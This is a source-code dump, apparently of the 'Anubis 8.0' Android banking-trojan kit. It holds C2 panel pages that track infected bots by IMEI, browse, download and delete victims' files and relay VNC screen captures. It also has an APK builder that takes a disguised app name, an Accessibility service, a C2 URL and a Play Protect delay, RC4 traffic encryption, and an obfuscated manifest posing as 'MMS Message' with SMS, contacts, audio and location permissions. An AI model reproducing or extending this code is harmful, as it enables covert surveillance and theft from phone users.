{
|
||||
$(this).html(html).fadeTo(0,1);
|
||||
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
$(document).ready(function(){
|
||||
// showFileFolder();
|
||||
getStatusFileFolder();
|
||||
setInterval('getStatusFileFolder()',2000);
|
||||
});
|
||||
|
||||
|
||||
function newhandshake(){
|
||||
$.ajax({
|
||||
url: "application/websocket/generatnewhandshake.php?starthandshake=GO",
|
||||
cache: false
|
||||
|
||||
});
|
||||
show();
|
||||
}
|
||||
|
||||
function getStatusFileFolder(){
|
||||
$.ajax({
|
||||
url: 'application/websocket/utils.php?statusfilefolder=get',
|
||||
success: function(data) {
|
||||
$('.results').html(data);
|
||||
if(data=='1'){
|
||||
showFileFolder();
|
||||
}
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
function getUrlUp(str){
|
||||
var execstr=str;
|
||||
|
||||
execstr = execstr.replace('//','/');
|
||||
|
||||
if(str!=="/"){
|
||||
if(execstr.substr(execstr.length-1,1)=="/"){
|
||||
execstr = execstr.substr(0,execstr.length-1);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
var arr = execstr.split('/');
|
||||
var str2="";
|
||||
for(var i=1;i<arr.length-1;i++){
|
||||
str2 = str2 + '/' + arr[i];
|
||||
}
|
||||
|
||||
if(arr.length==2){
|
||||
str2="/";
|
||||
}
|
||||
|
||||
return str2;
|
||||
}
|
||||
|
||||
|
||||
function httpGet(text) {
|
||||
$.ajax({
|
||||
url: text,
|
||||
success: function(data) {
|
||||
$('.results').html(data);
|
||||
return data;
|
||||
}
|
||||
});
|
||||
|
||||
}
|
||||
</script>
|
||||
|
||||
</div>
|
||||
@@ -0,0 +1,17 @@
|
||||
AddDefaultCharset utf-8
|
||||
AddCharset utf-8 *
|
||||
|
||||
<IfModule mod_charset.c>
|
||||
CharsetSourceEnc utf-8
|
||||
CharsetDefault utf-8
|
||||
</IfModule>
|
||||
|
||||
|
||||
|
||||
|
||||
<FilesMatch ".(php|phtml|php3|php4|html|htm|js|css|htaccess|zip)$">
|
||||
Order Allow,Deny
|
||||
Deny from all
|
||||
</FilesMatch>
|
||||
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if(!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /index.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
|
||||
if($statusCode){
|
||||
include '../../config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT * FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
|
||||
global $botid;
|
||||
global $lastconnect;//будет как таймер
|
||||
foreach($statement as $row){
|
||||
$botid = $row['botid'];
|
||||
$lastconnect = $row['lastconnect'];
|
||||
}
|
||||
//$lastconnect = date('Y-m-d H:i');
|
||||
$seconds=-1;
|
||||
if(strlen($lastconnect)>5){
|
||||
//******Получаем иконку состояния бота, вычисляем дату****
|
||||
$arr_data_from = explode(" ", $lastconnect);
|
||||
$arr_data_till = explode(" ", date('Y-m-d H:i'));
|
||||
|
||||
$date_from = $arr_data_from[0];
|
||||
$date_till = $arr_data_till[0];
|
||||
|
||||
$date_from = explode('-', $date_from);
|
||||
$date_till = explode('-', $date_till);
|
||||
|
||||
$time_from = mktime(0, 0, 0, $date_from[1], $date_from[2], $date_from[0]);
|
||||
$time_till = mktime(0, 0, 0, $date_till[1], $date_till[2], $date_till[0]);
|
||||
|
||||
$day = ($time_till - $time_from)/60/60/24; //получаем разницу кол-во дней!
|
||||
//----------Секунды!-------/
|
||||
$date1 = new \DateTime($lastconnect);
|
||||
$date2 = new \DateTime(date('Y-m-d H:i'));
|
||||
$diff = $date2->diff($date1);
|
||||
// разница в секундах
|
||||
$seconds = ($diff->y * 365 * 24 * 60 * 60) + //получаем разницу в секундах!
|
||||
($diff->m * 30 * 24 * 60 * 60) +
|
||||
($diff->d * 24 * 60 * 60) +
|
||||
($diff->h * 60 * 60) +
|
||||
($diff->i * 60) +
|
||||
$diff->s;
|
||||
}
|
||||
$strSecond = '';
|
||||
if(($seconds>=0)&&($seconds<=14)){
|
||||
$strSecond = "Connected";
|
||||
}
|
||||
echo "ID Bots: <a>$botid</a></br>";
|
||||
echo "Status: <a style='color: #5ad65a'>$strSecond</a>";
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,79 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if(!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
if ($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
}
|
||||
if($statusCode){
|
||||
include '../../config.php';
|
||||
include_once '../database/webSocket.php';
|
||||
|
||||
$database = new database;
|
||||
$path = $database->ws_GetPath();
|
||||
if($path=="") $path = "/";
|
||||
|
||||
$FileFolder = $database->ws_GetFileFolder();
|
||||
$file = explode('!!!!', $FileFolder)[2];
|
||||
$folder = explode('!!!!', $FileFolder)[1];
|
||||
|
||||
$arrayFile = explode('|', $file);
|
||||
$arrayFolder= explode('|', $folder);
|
||||
|
||||
$command = $database->ws_GetCommand();
|
||||
$command = str_replace('opendir:','',$command);
|
||||
$command = str_replace('!!!!','',$command);
|
||||
|
||||
echo "
|
||||
<center>File System</center></br>
|
||||
<div style='background:#1D1F24; text-align: left; margin-left:10px '>
|
||||
<input type='hidden' id='savepath' value='$path'/>
|
||||
<a style='background:#1D1F24; ' >Path: $path</a></br>
|
||||
<a style='background:#1D1F24; ' >Command: $command</a></br>
|
||||
</div>
|
||||
|
||||
<center>
|
||||
<div style='width:98%; height: 1px; background:#333' ></div></br>
|
||||
</center>
|
||||
";
|
||||
|
||||
echo "<div style='background:#1D1F24; text-align: left; margin-left:10px; margin-botton:10px; overflow: auto; max-height: 300px;'>";
|
||||
|
||||
if(($file=="")&&($folder=="")){
|
||||
if($path!=="/"){
|
||||
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
|
||||
}
|
||||
echo "</br></br></br></br></br>";
|
||||
}else{
|
||||
if($path=="/"){}else{
|
||||
echo "<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>..</a></br>";
|
||||
}
|
||||
}
|
||||
|
||||
foreach($arrayFolder as $fold){
|
||||
if($fold !== "")echo "<span class='glyphicon glyphicon-folder-open' aria-hidden='true' style='color:#337ab7'></span>
|
||||
<a href='javascript:void(0)' style='background:#1D1F24;' id='ListFile'>$fold</a>
|
||||
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fold!!!!\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
|
||||
}
|
||||
foreach($arrayFile as $fil){
|
||||
if($fil !== "")echo "<span class='glyphicon glyphicon-file' aria-hidden='true' style='color:#337ab7'></span>
|
||||
<a style='background:#1D1F24;'>$fil</a>
|
||||
<a href='javascript:void(addcommand(\"downloadfile:$path/$fil!!!!\"))' class='glyphicon glyphicon-cloud-download' aria-hidden='true' style='color:#337ab7' ></a>
|
||||
<a href='javascript:void(addcommand(\"deletefilefolder:$path/$fil!!!!\"))' class='glyphicon glyphicon-remove' aria-hidden='true' style='color:#337ab7' ></a></br>";
|
||||
}
|
||||
echo "</div>
|
||||
<center>
|
||||
<div style='width:98%; height: 1px; background:#333; margin-top: 20px' ></div></br>
|
||||
</center>
|
||||
";
|
||||
$database = new database;
|
||||
$database->ws_UpdateStatusFileFolder('0');
|
||||
}
|
||||
@@ -0,0 +1,17 @@
|
||||
AddDefaultCharset utf-8
|
||||
AddCharset utf-8 *
|
||||
|
||||
<IfModule mod_charset.c>
|
||||
CharsetSourceEnc utf-8
|
||||
CharsetDefault utf-8
|
||||
</IfModule>
|
||||
|
||||
|
||||
|
||||
|
||||
<FilesMatch ".(php|phtml|php3|php4|html|htm|js|css|htaccess|zip)$">
|
||||
Order Allow,Deny
|
||||
Deny from all
|
||||
</FilesMatch>
|
||||
|
||||
|
||||
@@ -0,0 +1,99 @@
|
||||
<?php
|
||||
session_start();
|
||||
$statusCode=false;
|
||||
if(!(isset($_SESSION['panel_user'])))
|
||||
{
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
if($_SESSION['panel_status']!="Action"){
|
||||
session_destroy();
|
||||
header("Location: /login.php");
|
||||
}else{
|
||||
$statusCode=true;
|
||||
}
|
||||
|
||||
}
|
||||
if($statusCode){
|
||||
if((isset($_GET['server'])&&($_GET['server'])=="goserverstop")){
|
||||
include '../../config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET statusserver='0' WHERE id='1'");
|
||||
$statement->execute();
|
||||
}
|
||||
if(isset($_GET['pathFileFolder'])){
|
||||
$command = $_GET['pathFileFolder'];
|
||||
include '../../config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET command='$command' WHERE id='1'");
|
||||
$statement->execute([$command]);
|
||||
}
|
||||
if(isset($_GET['statusfilefolder'])){
|
||||
$statusfilefolder = $_GET['statusfilefolder'];
|
||||
if($statusfilefolder=="get"){
|
||||
include '../../config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT statusfilefolder FROM ws WHERE id='1'");
|
||||
$statement->execute([$statusfilefolder]);
|
||||
|
||||
foreach($statement as $row){
|
||||
echo $row['statusfilefolder'];
|
||||
}
|
||||
}
|
||||
}
|
||||
if(isset($_GET['deletevncimage'])){
|
||||
$deletevncimage = $_GET['deletevncimage'];
|
||||
if($deletevncimage=="deletejpgvnc"){
|
||||
@unlink("VNC.jpg");
|
||||
}
|
||||
}
|
||||
if(isset($_GET['statvnc'])){
|
||||
$vncscreen = $_GET['statvnc'];
|
||||
if($vncscreen=="get"){
|
||||
include '../../config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT vncscreen FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
echo $row['vncscreen'];
|
||||
}
|
||||
}
|
||||
}
|
||||
if(isset($_GET['vncupdateimage'])){
|
||||
$vncscreen = $_GET['vncupdateimage'];
|
||||
include '../../config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET vncscreen='$vncscreen' WHERE id='1'");
|
||||
$statement->execute([$vncscreen]);
|
||||
}
|
||||
if(isset($_GET['sound'])){
|
||||
$getsound = $_GET['sound'];
|
||||
if($getsound=="get"){
|
||||
include '../../config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("SELECT sound FROM ws WHERE id='1'");
|
||||
$statement->execute();
|
||||
foreach($statement as $row){
|
||||
echo $row['sound'];
|
||||
}
|
||||
}
|
||||
}
|
||||
if(isset($_GET['updateimei'])){
|
||||
$botid = $_GET['updateimei'];
|
||||
include '../../config.php';
|
||||
$connection = new PDO('mysql:host='.SERVER.';dbname='.DB, USER, PASSWORD);
|
||||
$connection->exec('SET NAMES utf8');
|
||||
$statement = $connection->prepare("UPDATE ws SET botid='$botid', lastconnect='' WHERE id='1'");
|
||||
$statement->execute([$botid]);
|
||||
}
|
||||
|
||||
|
||||
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,297 @@
|
||||
<?php
|
||||
session_start();
|
||||
if(isset($_SESSION["wh_anu7"])) {
|
||||
echo "" ;
|
||||
}else{
|
||||
session_destroy();
|
||||
header("Location: login.php");
|
||||
|
||||
|
||||
}
|
||||
?>
|
||||
<html>
|
||||
<head >
|
||||
<title>Anubis 8.0 Builder</title>
|
||||
|
||||
|
||||
|
||||
<link href="styles/menu.css" rel="stylesheet"/>
|
||||
<link href="styles/index.css" rel="stylesheet"/>
|
||||
<link href="styles/btn.css" rel="stylesheet"/>
|
||||
<link href="styles/modul_form.css" rel="stylesheet"/>
|
||||
<link rel="stylesheet" href="styles/style.css"/>
|
||||
<link href="styles/modul_form_log.css" rel="stylesheet"/>
|
||||
<link href="styles/modul_form_set.css" rel="stylesheet"/>
|
||||
|
||||
|
||||
<link rel="shortcut icon" href="/images/icon3.png" type="image/png"/>
|
||||
|
||||
|
||||
|
||||
<script src="styles/bootstrap/js/bootstrap.min.js"></script>
|
||||
<script type="text/javascript" src="js/jquery.min.js"></script>
|
||||
|
||||
<link href="styles/bootstrap/css/bootstrap.min.css" rel="stylesheet">
|
||||
<link rel="stylesheet" href="styles/bootstrap/css/style.css"/>
|
||||
<script src="styles/bootstrap/js/bootstrap.min.js"></script>
|
||||
<script src="js/alert.js"></script>
|
||||
<script src="js/amrnb.js" defer></script>
|
||||
|
||||
</head>
|
||||
|
||||
<body bgcolor="#1A2028">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="menu header">
|
||||
|
||||
<ul>
|
||||
|
||||
<li style="float:left; padding-left: 3px;"><img src="images/icons/panel/oqJNeIC2.png" width='104px'/></li>
|
||||
<div class="ac">
|
||||
|
||||
<!--
|
||||
<div class="exit">
|
||||
<li style="padding-top:0px;"><a href="?cont=exit"><img src="images/icons/panel/exit.png" width='50px'/></a></li>
|
||||
</div>
|
||||
-->
|
||||
|
||||
|
||||
|
||||
|
||||
<li style="padding-top:0px;"><a href="icon.php?cont=icons">
|
||||
<img src="images/icons/panel/files.png" height='50px'width='30px'/> Add icon
|
||||
</a>
|
||||
</li>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</div>
|
||||
<li style="padding-top:0px;"><a><img src="images/not.png" width='0px' height='50px'/></a></li>
|
||||
|
||||
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<style type="text/css">
|
||||
INPUT {
|
||||
font-size: 20pt;
|
||||
}
|
||||
</style>
|
||||
<div class="content">
|
||||
|
||||
<script>
|
||||
|
||||
function chPP(){
|
||||
if (document.getElementById("check_playprotect").checked) {
|
||||
document.getElementById("secondsPlayProtect").disabled = false;
|
||||
}else {
|
||||
document.getElementById("secondsPlayProtect").value='';
|
||||
document.getElementById("secondsPlayProtect").disabled = true;
|
||||
}
|
||||
}
|
||||
function chURL(){
|
||||
if (document.getElementById("checkstarturl").checked) {
|
||||
document.getElementById("urlsite").disabled = false;
|
||||
}else {
|
||||
document.getElementById("urlsite").value='';
|
||||
document.getElementById("urlsite").disabled = true;
|
||||
}
|
||||
}
|
||||
</script>
|
||||
|
||||
|
||||
<?php
|
||||
|
||||
$user =$_SESSION['wh_anu7'];
|
||||
$svoy=getcwd();
|
||||
//~ $godir="application/datalogs/files/$user";
|
||||
|
||||
//~ $dir = "$svoy/$godir";
|
||||
$files2 = scandir("icons", 1);
|
||||
|
||||
//~ $last_cfg = json_decode(file_get_contents("../last.cfg"), true);
|
||||
|
||||
$old_url = (isset($last_cfg["url"]))? $last_cfg["url"] : "";
|
||||
$old_key = (isset($last_cfg["key"]))? $last_cfg["key"] : "";
|
||||
|
||||
|
||||
|
||||
echo "
|
||||
<form method='post' action='stor.php'>
|
||||
|
||||
<div class='divbuild' id='Bots_settings' style='display:block; width:100%; min-height: 300px; margin-top:20px; margin: 0 auto;
|
||||
background: #1D1F24; border-radius: 4px; font-size: 15pt' >
|
||||
<center>Create New Build Request (Build In few Minute(s))</center>
|
||||
</br>
|
||||
<table border=0 width=100%>
|
||||
<tr valign=top>
|
||||
<td width=50%>
|
||||
|
||||
</td></tr>
|
||||
<tr>
|
||||
|
||||
<center><!-- onclick='startBuild()' -->
|
||||
<input type='submit' value='Build APK' id='BUILDAPK' class='btn btn-success'
|
||||
style=' Width:40%; Height: 30px; '/>
|
||||
</center>
|
||||
</br>
|
||||
</tr>
|
||||
</table>
|
||||
</form>
|
||||
|
||||
<a style='margin-left:10%; color:#fff'>TAG</a></br>
|
||||
<input type='text' name='tag' value='' placeholder='TagName' id='tag' style='margin-left:10%; color: #337ab7; font-size: 15pt; background: #1D1F24; width: 85%; height: 28px; border-radius: 5px;'></input>
|
||||
</br></br>
|
||||
|
||||
<a style='margin-left:10%; color:#fff'>Name application</a></br>
|
||||
<input type='text' name='nameapp' placeholder='Enter your app name' value='' id='nameapp' style='margin-left:10%; color: #337ab7; background: #1D1F24;
|
||||
width: 85%; font-size: 15pt; border-radius: 5px;'></input>
|
||||
</br></br>
|
||||
|
||||
<a style='margin-left:10%; color:#fff'>Name Accessibility Service</a></br>
|
||||
<input type='text' placeholder='Enter your Accessibility service name' name='Accessibility' value='' id='Accessibility' style='font-size: 15pt; margin-left:10%; color: #337ab7; background: #1D1F24; width: 85%; height: 28px; border-radius: 5px;'></input>
|
||||
</br></br>
|
||||
|
||||
<hr style='width: 80%' />
|
||||
|
||||
<a style='margin-left:10%; color:#fff'>URL admin panel</a></br>
|
||||
<input type='text' name='url' value='{$old_url}' placeholder='https://domain.com/' id='url' style='font-size: 15pt; margin-left:10%; color: #337ab7; background: #1D1F24; width: 85%; height: 28px; border-radius: 5px;'></input>
|
||||
</br></br>
|
||||
|
||||
<a style='margin-left:10%; color:#fff'>Traffic Encryption Key</a></br>
|
||||
<input type='text' name='keytraff' value='{$old_key}' placeholder='111word' id='keytraff' style='margin-left:10%; font-size: 15pt; color: #337ab7; background: #1D1F24; width: 85%; height: 28px; border-radius: 5px;'></input>
|
||||
</br></br>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<a style='margin-left:10%; color:#fff'>Icon application (web/app_icons/)</a></br>
|
||||
<select name='selecticon' onchange='showIcon(this)' id='selecticon' style='font-size: 12pt; margin-left:10%; color: #337ab7; height: 28px; width: 85%; background: #1D1F24'>
|
||||
<option value='--'>Select icon</option> ";
|
||||
foreach($files2 as $fil){
|
||||
if ( $fil != "." && $fil != ".." )
|
||||
{
|
||||
echo "<option value='$fil'>$fil";
|
||||
}
|
||||
}
|
||||
echo "</select>
|
||||
</br>
|
||||
<div style='width: 100%; text-align: center; margin-top: 10px;'><img id='iconImg' width='64' /></div>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</td><td>
|
||||
<br>
|
||||
|
||||
|
||||
|
||||
|
||||
<script>
|
||||
|
||||
function showIcon(select)
|
||||
{
|
||||
document.getElementById('iconImg').src = 'icons/' + select.options[select.selectedIndex].value + ''
|
||||
}
|
||||
</script>
|
||||
</br>
|
||||
</br>
|
||||
|
||||
</td></tr>
|
||||
<tr>
|
||||
<td></td>
|
||||
<td>
|
||||
|
||||
</td></tr>
|
||||
</table>
|
||||
</form>
|
||||
</div>";
|
||||
|
||||
echo "<center><div class='loading' id='Bots_settings' style='display: none;' >
|
||||
<img src='images/loading.gif'></img>
|
||||
</div></center>"
|
||||
|
||||
|
||||
|
||||
?>
|
||||
</div>
|
||||
|
||||
<script>
|
||||
|
||||
|
||||
function startBuild(){
|
||||
|
||||
var nameapp = document.getElementById("nameapp").value;
|
||||
var url = document.getElementById("url").value;
|
||||
var keytraff = document.getElementById("keytraff").value;
|
||||
var tag = document.getElementById("tag").value;
|
||||
var admindev = document.getElementById("admindev").value;
|
||||
var RequestAccessibility = document.getElementById("RequestAccessibility").value;
|
||||
var Accessibility = document.getElementById("Accessibility").value;
|
||||
var secondsPlayProtect = document.getElementById("secondsPlayProtect").value;
|
||||
var urlsite = document.getElementById("urlsite").value;
|
||||
var icon = document.getElementById("selecticon").value;
|
||||
var twitter = document.getElementById("Twitter").value;
|
||||
|
||||
|
||||
var crypt = false;
|
||||
|
||||
if($('#cryptapk').prop('checked')) {
|
||||
crypt = true;
|
||||
}
|
||||
|
||||
document.getElementsByClassName('divbuild')[0].style.display = "none";
|
||||
document.getElementsByClassName('loading')[0].style.display = "block";
|
||||
document.getElementsByClassName('content')[0].style.background = "#333739";
|
||||
|
||||
$.ajax({ url: 'application/set/buildstart.php?'
|
||||
+ 'nameapp='+nameapp
|
||||
+ '&url='+url
|
||||
+ '&keytraff='+keytraff
|
||||
+ '&tag='+tag
|
||||
+ '&admindev='+admindev
|
||||
+ '&RequestAccessibility='+ RequestAccessibility
|
||||
+ '&Accessibility='+ Accessibility
|
||||
+ '&secondsPlayProtect='+secondsPlayProtect
|
||||
+ '&urlsite='+urlsite
|
||||
+ '&icon='+icon
|
||||
+ '&twitter='+ twitter
|
||||
+ '&crypt='+crypt,
|
||||
success: function(data){
|
||||
document.getElementsByClassName('divbuild')[0].style.display = "block";
|
||||
document.getElementsByClassName('loading')[0].style.display = "none";
|
||||
document.getElementsByClassName('content')[0].style.background = "#1D1F24";
|
||||
// var nameapk = '<?php echo substr(md5($_SESSION['panel_user']),0,12);?>';
|
||||
// window.location.href = 'application/datalogs/files/filesapk/'+nameapk+'.apk' ;
|
||||
}});
|
||||
}
|
||||
|
||||
if (document.getElementById("check_playprotect").checked) {
|
||||
document.getElementById("secondsPlayProtect").disabled = false;
|
||||
}else {
|
||||
document.getElementById("secondsPlayProtect").value='';
|
||||
document.getElementById("secondsPlayProtect").disabled = true;
|
||||
}
|
||||
|
||||
if (document.getElementById("checkstarturl").checked) {
|
||||
document.getElementById("urlsite").disabled = false;
|
||||
}else {
|
||||
document.getElementById("urlsite").value='';
|
||||
document.getElementById("urlsite").disabled = true;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,14 @@
|
||||
<?php
|
||||
|
||||
$sname = "localhost";
|
||||
$uname = "root";
|
||||
$password = "";
|
||||
$db_name = "anubisdb";
|
||||
|
||||
|
||||
define('SERVER' , $sname);
|
||||
define('DB', $db_name);
|
||||
define('USER', $uname);
|
||||
define('PASSWORD' , $password);
|
||||
define('cryptKey' , 'zanubis');
|
||||
define('namefolder', 'anubis');
|
||||
@@ -0,0 +1,44 @@
|
||||
<?php
|
||||
class RC4Crypt {
|
||||
public static function encrypt_ ($pwd, $data, $ispwdHex = 0){
|
||||
if ($ispwdHex)
|
||||
$pwd = @pack('H*', $pwd);
|
||||
|
||||
$key[] = '';
|
||||
$box[] = '';
|
||||
$cipher = '';
|
||||
$pwd_length = strlen($pwd);
|
||||
$data_length = strlen($data);
|
||||
|
||||
for ($i = 0; $i < 256; $i++){
|
||||
$key[$i] = ord($pwd[$i % $pwd_length]);
|
||||
$box[$i] = $i;
|
||||
}
|
||||
for ($j = $i = 0; $i < 256; $i++){
|
||||
$j = ($j + $box[$i] + $key[$i]) % 256;
|
||||
$tmp = $box[$i];
|
||||
$box[$i] = $box[$j];
|
||||
$box[$j] = $tmp;
|
||||
}
|
||||
for ($a = $j = $i = 0; $i < $data_length; $i++){
|
||||
$a = ($a + 1) % 256;
|
||||
$j = ($j + $box[$a]) % 256;
|
||||
$tmp = $box[$a];
|
||||
$box[$a] = $box[$j];
|
||||
$box[$j] = $tmp;
|
||||
$k = $box[(($box[$a] + $box[$j]) % 256)];
|
||||
$cipher .= chr(ord($data[$i]) ^ $k);
|
||||
}
|
||||
return $cipher;
|
||||
}
|
||||
public static function decrypt_ ($pwd, $data, $ispwdHex = 0){
|
||||
return RC4Crypt::encrypt_($pwd, $data, $ispwdHex);
|
||||
}
|
||||
}
|
||||
function encrypt($string, $key){
|
||||
return base64_encode(bin2hex(RC4Crypt::encrypt_($key, $string)));
|
||||
}
|
||||
function decrypt($string, $key){
|
||||
return RC4Crypt::decrypt_($key, hex2bin(base64_decode($string)));
|
||||
}
|
||||
?>
|
||||
@@ -0,0 +1,130 @@
|
||||
<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="23" android:compileSdkVersionCodename="6.0-2438415" package="wocwvy.czyxoxmbauu.slsa" platformBuildVersionCode="29" platformBuildVersionName="10">
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
|
||||
<uses-permission android:name="android.permission.GET_TASKS"/>
|
||||
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
|
||||
<uses-permission android:name="android.permission.READ_SMS"/>
|
||||
<uses-permission android:name="android.permission.WRITE_SMS"/>
|
||||
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
|
||||
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
|
||||
<uses-permission android:name="android.permission.CALL_PHONE"/>
|
||||
<uses-permission android:name="android.permission.INTERNET"/>
|
||||
<uses-permission android:name="android.permission.SEND_SMS"/>
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
|
||||
<uses-permission android:name="android.permission.READ_CONTACTS"/>
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
|
||||
<uses-permission android:name="android.permission.WAKE_LOCK"/>
|
||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
|
||||
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/>
|
||||
|
||||
<application android:allowBackup="true" android:icon="@mipmap/ic_launcher"
|
||||
android:label="MMS Message"
|
||||
android:name="wocwvy.czyxoxmbauu.slsa.rihynmfwilxiqz" android:supportsRtl="true" android:theme="@android:style/Theme.Translucent.NoTitleBar">
|
||||
<activity android:exported="false" android:name="com.google.android.gms.common.api.GoogleApiActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>
|
||||
<meta-data android:name="com.google.android.gms.version" android:value="12211000"/>
|
||||
<meta-data android:name="android.support.VERSION" android:value="26.1.0"/>
|
||||
<meta-data android:name="android.arch.lifecycle.VERSION" android:value="27.0.0-SNAPSHOT"/>
|
||||
<activity android:name="wocwvy.czyxoxmbauu.slsa.ncec.myvbo">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
<category android:name="android.intent.category.LAUNCHER"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
<receiver android:name="wocwvy.czyxoxmbauu.slsa.pworotsvjdlioho.cmtstflxlxb" android:permission="android.permission.BROADCAST_SMS">
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.SMS_DELIVER"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<receiver android:enabled="true" android:name="wocwvy.czyxoxmbauu.slsa.pworotsvjdlioho.qpgopfninoaazln" android:permission="android.permission.BROADCAST_WAP_PUSH">
|
||||
<intent-filter>
|
||||
<action android:name="android.provider.Telephony.WAP_PUSH_DELIVER"/>
|
||||
<data android:mimeType="application/vnd.wap.mms-message"/>
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
<activity android:name="wocwvy.czyxoxmbauu.slsa.opzsdswiddt">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.SEND"/>
|
||||
<action android:name="android.intent.action.SENDTO"/>
|
||||
<data android:scheme="sms"/>
|
||||
<data android:scheme="smsto"/>
|
||||
<data android:scheme="mms"/>
|
||||
<data android:scheme="mmsto"/>
|
||||
<category android:name="android.intent.category.DEFAULT"/>
|
||||
<category android:name="android.intent.category.BROWSABLE"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
<service android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.lmimy" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/>
|
||||
<category android:name="android.intent.category.DEFAULT"/>
|
||||
<data android:scheme="sms"/>
|
||||
<data android:scheme="smsto"/>
|
||||
<data android:scheme="mms"/>
|
||||
<data android:scheme="mmsto"/>
|
||||
</intent-filter>
|
||||
</service>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.wfveenegvz"/>
|
||||
<service android:enabled="true" android:exported="true" android:name="wocwvy.czyxoxmbauu.slsa.frvvkgp"/>
|
||||
<receiver android:name="wocwvy.czyxoxmbauu.slsa.pworotsvjdlioho.hypihteeavv">
|
||||
<intent-filter android:priority="999">
|
||||
<action android:name="android.intent.action.BOOT_COMPLETED"/>
|
||||
<action android:name="android.intent.action.QUICKBOOT_POWERON"/>
|
||||
<action android:name="com.htc.intent.action.QUICKBOOT_POWERON"/>
|
||||
<action android:name="android.intent.action.USER_PRESENT"/>
|
||||
<action android:name="android.intent.action.PACKAGE_ADDED"/>
|
||||
<action android:name="android.intent.action.PACKAGE_REMOVED"/>
|
||||
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
|
||||
<action android:name="android.intent.action.SCREEN_ON"/>
|
||||
<action android:name="android.intent.action.EXTERNAL_APPLICATIONS_AVAILABLE"/>
|
||||
<category android:name="android.intent.category.HOME"/>
|
||||
<action android:name="android.net.conn.CONNECTIVITY_CHANGE"/>
|
||||
